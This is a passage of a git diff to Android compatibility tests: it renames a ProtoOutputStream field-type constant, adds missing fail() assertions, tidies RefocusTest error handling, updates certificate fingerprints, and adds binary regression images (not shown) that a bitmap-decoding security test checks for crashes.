ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'c');
@@ -394,13 +394,13 @@
final ProtoOutputStream po = new ProtoOutputStream();
long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(2,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'a');
long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(4,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'b');
@@ -422,10 +422,10 @@
final ProtoOutputStream po = new ProtoOutputStream();
long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.endObject(token2);
try {
@@ -444,13 +444,13 @@
final ProtoOutputStream po = new ProtoOutputStream();
long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(2,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'a');
long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(4,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'b');
@@ -472,10 +472,10 @@
final ProtoOutputStream po = new ProtoOutputStream();
long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.endObject(token2);
try {
@@ -494,13 +494,13 @@
final ProtoOutputStream po = new ProtoOutputStream();
long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(2,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'a');
long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(4,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'b');
@@ -521,10 +521,10 @@
final ProtoOutputStream po = new ProtoOutputStream();
long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
try {
po.endObject(token1);
@@ -542,20 +542,20 @@
final ProtoOutputStream po = new ProtoOutputStream();
long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(2,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'a');
long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(4,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'b');
po.endObject(token2);
long token3 = po.startObject(ProtoOutputStream.makeFieldId(5,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(4,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'b');
@@ -576,14 +576,14 @@
final ProtoOutputStream po = new ProtoOutputStream();
long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.endObject(token2);
long token3 = po.startObject(ProtoOutputStream.makeFieldId(5,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
try {
po.endObject(token2);
@@ -601,14 +601,14 @@
final ProtoOutputStream po = new ProtoOutputStream();
long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.endObject(token2);
long token3 = po.startObject(ProtoOutputStream.makeFieldId(5,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
try {
po.endObject(token2);
@@ -638,17 +638,17 @@
all.nestedField.nested.nested.data = 3;
final long token1 = po.startObject(ProtoOutputStream.makeFieldId(170,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeInt32(ProtoOutputStream.makeFieldId(10001,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
1);
final long token2 = po.startObject(ProtoOutputStream.makeFieldId(10002,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeInt32(ProtoOutputStream.makeFieldId(10001,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
2);
final long token3 = po.startObject(ProtoOutputStream.makeFieldId(10002,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeInt32(ProtoOutputStream.makeFieldId(10001,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
3);
@@ -680,17 +680,17 @@
all.nestedFieldRepeated[i].nested.nested.data = 3;
final long token1 = po.startObject(ProtoOutputStream.makeFieldId(171,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeInt32(ProtoOutputStream.makeFieldId(10001,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
1);
final long token2 = po.startObject(ProtoOutputStream.makeFieldId(10002,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeInt32(ProtoOutputStream.makeFieldId(10001,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
2);
final long token3 = po.startObject(ProtoOutputStream.makeFieldId(10002,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeInt32(ProtoOutputStream.makeFieldId(10001,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
3);
@@ -724,7 +724,7 @@
try {
final ProtoOutputStream po = new ProtoOutputStream();
po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_MESSAGE));
} catch (IllegalArgumentException ex) {
// good
}
@@ -744,7 +744,7 @@
try {
final ProtoOutputStream po = new ProtoOutputStream();
po.startRepeatedObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_MESSAGE));
} catch (IllegalArgumentException ex) {
// good
}
@@ -756,7 +756,7 @@
public void testMismatchedEndObject() {
final ProtoOutputStream po = new ProtoOutputStream();
final long token = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
try {
po.endRepeatedObject(token);
@@ -771,7 +771,7 @@
public void testMismatchedEndRepeatedObject() {
final ProtoOutputStream po = new ProtoOutputStream();
final long token = po.startRepeatedObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_MESSAGE));
try {
po.endObject(token);
@@ -806,7 +806,7 @@
final ProtoOutputStream po = new ProtoOutputStream();
po.writeObject(ProtoOutputStream.makeFieldId(10,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT),
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE),
innerRaw);
final byte[] result = po.getBytes();
@@ -827,7 +827,7 @@
final ProtoOutputStream po = new ProtoOutputStream();
po.writeObject(ProtoOutputStream.makeFieldId(10,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT),
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE),
innerRaw);
final byte[] result = po.getBytes();
@@ -861,7 +861,7 @@
final ProtoOutputStream po = new ProtoOutputStream();
po.writeRepeatedObject(ProtoOutputStream.makeFieldId(10,
- ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_OBJECT),
+ ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_MESSAGE),
innerRaw);
final byte[] result = po.getBytes();
@@ -882,7 +882,7 @@
final ProtoOutputStream po = new ProtoOutputStream();
po.writeRepeatedObject(ProtoOutputStream.makeFieldId(10,
- ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_OBJECT),
+ ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_MESSAGE),
innerRaw);
Assert.assertArrayEquals(new byte[] {
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamTagTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamTagTest.java
index 3b38aba..c408d92 100644
--- a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamTagTest.java
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamTagTest.java
@@ -92,6 +92,7 @@
// Try it in the provided name
try {
ProtoOutputStream.checkFieldId(42 | goodCount | badType, goodCount | fieldType);
+ fail("Should have thrown an exception.");
} catch (IllegalArgumentException ex) {
assertEquals("writeRepeated" + string
+ " called for field 42 which should be used"
@@ -102,6 +103,7 @@
// Try it in the expected name
try {
ProtoOutputStream.checkFieldId(43 | goodCount | fieldType, goodCount | badType);
+ fail("Should have thrown an exception.");
} catch (IllegalArgumentException ex) {
assertEquals("writeRepeated" + badTypeString
+ " called for field 43 which should be used"
@@ -126,6 +128,7 @@
// Try it in the provided name
try {
ProtoOutputStream.checkFieldId(44 | badCount | goodType, fieldCount | goodType);
+ fail("Should have thrown an exception.");
} catch (IllegalArgumentException ex) {
assertEquals("write" + string
+ "Fixed32 called for field 44 which should be used"
@@ -136,6 +139,7 @@
// Try it in the expected name
try {
ProtoOutputStream.checkFieldId(45 | fieldCount | goodType, badCount | goodType);
+ fail("Should have thrown an exception.");
} catch (IllegalArgumentException ex) {
String extraString = "";
if (fieldCount == ProtoOutputStream.FIELD_COUNT_PACKED) {
@@ -151,7 +155,7 @@
/**
* Validate one call to checkFieldId that is expected to throw.
*/
- public void assertCheckFieldIdThrows(long fieldId, long expectedFlags)
+ public void assertCheckFieldIdThrows(long fieldId, long expectedFlags)
throws Exception {
try {
ProtoOutputStream.checkFieldId(fieldId, expectedFlags);
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/refocus/RefocusTest.java b/tests/tests/renderscript/src/android/renderscript/cts/refocus/RefocusTest.java
index 9b355b0..ab326ff 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/refocus/RefocusTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/refocus/RefocusTest.java
@@ -37,14 +37,14 @@
/**
* Test the orignal refocus code
*/
- public void testOriginalRefocus() {
+ public void testOriginalRefocus() throws IOException {
refocus(RenderScriptTask.script.f32, 95);
}
/**
* Test the new refocus code
*/
- public void testNewRefocus() {
+ public void testNewRefocus() throws IOException {
// The new implementation may run on a GPU using relaxed floating point
// mathematics. Hence more relaxed precision requirement.
refocus(RenderScriptTask.script.d1new, 45);
@@ -54,7 +54,7 @@
* Test a refocus operator against the refocus_reference image
* @param impl version of refocus to run
*/
- private void refocus(RenderScriptTask.script impl, double minimumPSNR) {
+ private void refocus(RenderScriptTask.script impl, double minimumPSNR) throws IOException {
Context ctx = getContext();
RenderScript rs = RenderScript.create(ctx);
@@ -63,27 +63,26 @@
current_rgbz = new RGBZ(getResourceRef(R.drawable.test_image),
getResourceRef(R.drawable.test_depthmap),
ctx.getContentResolver(), ctx);
- } catch (IOException e) {
- e.printStackTrace();
- assertNull(e);
+ DepthOfFieldOptions current_depth_options = new DepthOfFieldOptions(current_rgbz);
+ RsTaskParams rsTaskParam = new RsTaskParams(rs, current_depth_options);
+
+ RenderScriptTask renderScriptTask = new RenderScriptTask(rs, impl);
+ Bitmap outputImage = renderScriptTask.applyRefocusFilter(rsTaskParam.mOptions);
+
+ Bitmap expectedImage = BitmapFactory.decodeResource(ctx.getResources(),
+ R.drawable.expected_output);
+
+ double psnr = ImageCompare.psnr(outputImage, expectedImage);
+ android.util.Log.i("RefocusTest", "psnr = " + String.format("%.02f", psnr));
+ if (psnr < minimumPSNR) {
+ MediaStoreSaver.savePNG(outputImage, "refocus", "refocus_output" , ctx);
+ assertTrue("Required minimum psnr = " + String.format("%.02f; ", minimumPSNR) +
+ "Actual psnr = " + String.format("%.02f", psnr),
+ false);
+ }
+ } finally {
+ rs.destroy();
}
- DepthOfFieldOptions current_depth_options = new DepthOfFieldOptions(current_rgbz);
- RsTaskParams rsTaskParam = new RsTaskParams(rs, current_depth_options);
-
- RenderScriptTask renderScriptTask = new RenderScriptTask(rs, impl);
- Bitmap outputImage = renderScriptTask.applyRefocusFilter(rsTaskParam.mOptions);
-
- Bitmap expectedImage = BitmapFactory.decodeResource(ctx.getResources(), R.drawable.expected_output);
-
- double psnr = ImageCompare.psnr(outputImage, expectedImage);
- android.util.Log.i("RefocusTest", "psnr = " + String.format("%.02f", psnr));
- if (psnr < minimumPSNR) {
- MediaStoreSaver.savePNG(outputImage, "refocus", "refocus_output" , ctx);
- assertTrue("Required minimum psnr = " + String.format("%.02f; ", minimumPSNR) +
- "Actual psnr = " + String.format("%.02f", psnr),
- false);
- }
- rs.destroy();
}
diff --git a/tests/tests/security/res/raw/b38116746_new.ico b/tests/tests/security/res/raw/b38116746_new.ico
new file mode 100644
index 0000000..35ee5b5
--- /dev/null
+++ b/tests/tests/security/res/raw/b38116746_new.ico
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_67381469.webp b/tests/tests/security/res/raw/bug_67381469.webp
new file mode 100644
index 0000000..82ff6e4
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_67381469.webp
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
index c8bfbb1..203db12 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
@@ -17,30 +17,56 @@
package android.security.cts;
import android.graphics.BitmapFactory;
+import android.os.ParcelFileDescriptor;
import android.platform.test.annotations.SecurityTest;
import android.test.AndroidTestCase;
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.FileOutputStream;
import java.io.InputStream;
+import java.lang.Exception;
+
import android.security.cts.R;
@SecurityTest
public class BitmapFactorySecurityTests extends AndroidTestCase {
- private InputStream getResource(int resId) {
- InputStream resource = mContext.getResources().openRawResource(R.raw.bug_38116746);
- assertNotNull(resource);
- return resource;
+ private FileDescriptor getResource(int resId) {
+ try {
+ InputStream is = mContext.getResources().openRawResource(resId);
+ assertNotNull(is);
+ File file = File.createTempFile("BitmapFactorySecurityFile" + resId, "img");
+ file.deleteOnExit();
+ FileOutputStream output = new FileOutputStream(file);
+ byte[] buffer = new byte[1024];
+ int readLength;
+ while ((readLength = is.read(buffer)) != -1) {
+ output.write(buffer, 0, readLength);
+ }
+ is.close();
+ output.close();
+ ParcelFileDescriptor pfd = ParcelFileDescriptor.open(file,
+ ParcelFileDescriptor.MODE_READ_ONLY);
+ return pfd.getFileDescriptor();
+ } catch (Exception e) {
+ fail("Could not get resource " + resId + "! " + e);
+ return null;
+ }
}
/**
- * Verifies that decoding a corrupt ICO does not run out of memory.
+ * Verifies that decoding a corrupt ICO does crash.
*/
public void test_android_bug_38116746() {
- InputStream exploitImage = getResource(R.raw.bug_38116746);
+ FileDescriptor exploitImage = getResource(R.raw.bug_38116746);
try {
- BitmapFactory.decodeStream(exploitImage);
+ BitmapFactory.decodeFileDescriptor(exploitImage);
} catch (OutOfMemoryError e) {
fail("OOM attempting to decode ICO");
}
+
+ // This previously crashed in fread. No need to check the output.
+ BitmapFactory.decodeFileDescriptor(getResource(R.raw.b38116746_new));
}
}
diff --git a/tests/tests/security/src/android/security/cts/CertificateData.java b/tests/tests/security/src/android/security/cts/CertificateData.java
index b880f5f..68ec092 100644
--- a/tests/tests/security/src/android/security/cts/CertificateData.java
+++ b/tests/tests/security/src/android/security/cts/CertificateData.java
@@ -36,7 +36,6 @@
"75:E0:AB:B6:13:85:12:27:1C:04:F8:5F:DD:DE:38:E4:B7:24:2E:FE",
"DA:C9:02:4F:54:D8:F6:DF:94:93:5F:B1:73:26:38:CA:6A:D7:7C:13",
"74:20:74:41:72:9C:DD:92:EC:79:31:D8:23:10:8D:C2:81:92:E2:BB",
- "40:54:DA:6F:1C:3F:40:74:AC:ED:0F:EC:CD:DB:79:D1:53:FB:90:1D",
"F4:8B:11:BF:DE:AB:BE:94:54:20:71:E6:41:DE:6B:BE:88:2B:40:B9",
"58:E8:AB:B0:36:15:33:FB:80:F7:9B:1B:6D:29:D3:FF:8D:5F:00:F0",
"55:A6:72:3E:CB:F2:EC:CD:C3:23:74:70:19:9D:2A:BE:11:E3:81:D1",
@@ -51,6 +50,7 @@
"DA:FA:F7:FA:66:84:EC:06:8F:14:50:BD:C7:C2:81:A5:BC:A9:64:57",
"74:F8:A3:C3:EF:E7:B3:90:06:4B:83:90:3C:21:64:60:20:E5:DF:CE",
"31:43:64:9B:EC:CE:27:EC:ED:3A:3F:0B:8F:0D:E4:E8:91:DD:EE:CA",
+ "B7:AB:33:08:D1:EA:44:77:BA:14:80:12:5A:6F:BD:A9:36:49:0C:BB",
"5F:43:E5:B1:BF:F8:78:8C:AC:1C:C7:CA:4A:9A:C6:22:2B:CC:34:C6",
"2B:8F:1B:57:33:0D:BB:A2:D0:7A:6C:51:F7:0E:E9:0D:DA:B9:AD:8E",
"79:5F:88:60:C5:AB:7C:3D:92:E6:CB:F4:8D:E1:45:CD:11:EF:60:0B",
@@ -64,7 +64,6 @@
"59:AF:82:79:91:86:C7:B4:75:07:CB:CF:03:57:46:EB:04:DD:B7:16",
"50:30:06:09:1D:97:D4:F5:AE:39:F7:CB:E7:92:7D:7D:65:2D:34:31",
"FE:45:65:9B:79:03:5B:98:A1:61:B5:51:2E:AC:DA:58:09:48:22:4D",
- "1B:4B:39:61:26:27:6B:64:91:A2:68:6D:D7:02:43:21:2D:1F:1D:96",
"8C:F4:27:FD:79:0C:3A:D1:66:06:8D:E8:1E:57:EF:BB:93:22:72:D4",
"2F:78:3D:25:52:18:A7:4A:65:39:71:B5:2C:A2:9C:45:15:6F:E9:19",
"BA:29:41:60:77:98:3F:F4:F3:EF:F2:31:05:3B:2E:EA:6D:4D:45:FD",
@@ -73,6 +72,7 @@
"36:79:CA:35:66:87:72:30:4D:30:A5:FB:87:3B:0F:A7:7B:B7:0D:54",
"1B:8E:EA:57:96:29:1A:C9:39:EA:B8:0A:81:1A:73:73:C0:93:79:67",
"6E:26:64:F3:56:BF:34:55:BF:D1:93:3F:7C:01:DE:D8:13:DA:8A:A6",
+ "74:3A:F0:52:9B:D0:32:A0:F4:4A:83:CD:D4:BA:A9:7B:7C:2E:C4:9A",
"D8:EB:6B:41:51:92:59:E0:F3:E7:85:00:C0:3D:B6:88:97:C9:EE:FC",
"66:31:BF:9E:F7:4F:9E:B6:C9:D5:A6:0C:BA:6A:BE:D1:F7:BD:EF:7B",
"DE:3F:40:BD:50:93:D3:9B:6C:60:F6:DA:BC:07:62:01:00:89:76:C9",
@@ -83,14 +83,14 @@
"43:13:BB:96:F1:D5:86:9B:C1:4E:6A:92:F6:CF:F6:34:69:87:82:37",
"F1:8B:53:8D:1B:E9:03:B6:A6:F0:56:43:5B:17:15:89:CA:F3:6B:F2",
"05:63:B8:63:0D:62:D7:5A:BB:C8:AB:1E:4B:DF:B5:A8:99:B2:4D:43",
- "62:52:DC:40:F7:11:43:A2:2F:DE:9E:F7:34:8E:06:42:51:B1:81:18",
"70:17:9B:86:8C:00:A4:FA:60:91:52:22:3F:9F:3E:32:BD:E0:05:62",
"D1:EB:23:A4:6D:17:D6:8F:D9:25:64:C2:F1:F1:60:17:64:D8:E3:49",
"B8:01:86:D1:EB:9C:86:A5:41:04:CF:30:54:F3:4C:52:B7:E5:58:C6",
- "2E:14:DA:EC:28:F0:FA:1E:8E:38:9A:4E:AB:EB:26:C0:0A:D3:83:C3",
+ "4C:DD:51:A3:D1:F5:20:32:14:B0:C6:C5:32:23:03:91:C7:46:42:6D",
"DE:28:F4:A4:FF:E5:B9:2F:A3:C5:03:D1:A3:49:A7:F9:96:2A:82:12",
"0D:44:DD:8C:3C:8C:1A:1A:58:75:64:81:E9:0F:2E:2A:FF:B3:D2:6E",
"CA:3A:FB:CF:12:40:36:4B:44:B2:16:20:88:80:48:39:19:93:7C:F7",
+ "FF:BD:CD:E7:82:C8:43:5E:3C:6F:26:86:5C:CA:A8:3A:45:5B:C3:0A",
"13:2D:0D:45:53:4B:69:97:CD:B2:D5:C3:39:E2:55:76:60:9B:5C:C6",
"5F:B7:EE:06:33:E2:59:DB:AD:0C:4C:9A:E6:D3:8F:1A:61:C7:DC:25",
"49:0A:75:74:DE:87:0A:47:FE:58:EE:F6:C7:6B:EB:C6:0B:12:40:99",
@@ -98,6 +98,7 @@
"29:36:21:02:8B:20:ED:02:F5:66:C5:32:D1:D6:ED:90:9F:45:00:2F",
"37:9A:19:7B:41:85:45:35:0C:A6:03:69:F3:3C:2E:AF:47:4F:20:79",
"FA:B7:EE:36:97:26:62:FB:2D:B0:2A:F6:BF:03:FD:E8:7C:4B:2F:9B",
+ "C3:19:7C:39:24:E6:54:AF:1B:C4:AB:20:95:7A:E2:C3:0E:13:02:6A",
"9F:74:4E:9F:2B:4D:BA:EC:0F:31:2C:50:B6:56:3B:8E:2D:93:C3:11",
"A1:4B:48:D9:43:EE:0A:0E:40:90:4F:3C:E0:A4:C0:91:93:51:5D:3F",
"C9:A8:B9:E7:55:80:5E:58:E3:53:77:A7:25:EB:AF:C3:7B:27:CC:D7",
@@ -119,6 +120,7 @@
"AA:DB:BC:22:23:8F:C4:01:A1:27:BB:38:DD:F4:1D:DB:08:9E:F0:12",
"E2:52:FA:95:3F:ED:DB:24:60:BD:6E:28:F3:9C:CC:CF:5E:B3:3F:DE",
"3B:C4:9F:48:F8:F3:73:A0:9C:1E:BD:F8:5B:B1:C3:65:C7:D8:11:B3",
+ "0F:36:38:5B:81:1A:25:C3:9B:31:4E:83:CA:E9:34:66:70:CC:74:B4",
"28:90:3A:63:5B:52:80:FA:E6:77:4C:0B:6D:A7:D6:BA:A6:4A:F2:E8",
"9C:BB:48:53:F6:A4:F6:D3:52:A4:E8:32:52:55:60:13:F5:AD:AF:65",
"B1:BC:96:8B:D4:F4:9D:62:2A:A8:9A:81:F2:15:01:52:A4:1D:82:9C",
@@ -129,6 +131,7 @@
"47:BE:AB:C9:22:EA:E8:0E:78:78:34:62:A7:9F:45:C2:54:FD:E6:8B",
"3A:44:73:5A:E5:81:90:1F:24:86:61:46:1E:3B:9C:C4:5F:F5:3A:1B",
"B3:1E:B1:B7:40:E3:6C:84:02:DA:DC:37:D4:4D:F5:D4:67:49:52:F9",
+ "58:D1:DF:95:95:67:6B:63:C0:F0:5B:1C:17:4D:8B:84:0B:C8:78:BD",
"F5:17:A2:4F:9A:48:C6:C9:F8:A2:00:26:9F:DC:0F:48:2C:AB:30:89",
"3B:C0:38:0B:33:C3:F6:A6:0C:86:15:22:93:D9:DF:F5:4B:81:C0:04",
"03:9E:ED:B8:0B:E7:A0:3C:69:53:89:3B:20:D2:D9:32:3A:4C:2A:FD",
@@ -139,12 +142,12 @@
"B8:23:6B:00:2F:1D:16:86:53:01:55:6C:11:A4:37:CA:EB:FF:C3:BB",
"87:82:C6:C3:04:35:3B:CF:D2:96:92:D2:59:3E:7D:44:D9:34:FF:11",
"59:0D:2D:7D:88:4F:40:2E:61:7E:A5:62:32:17:65:CF:17:D8:94:E9",
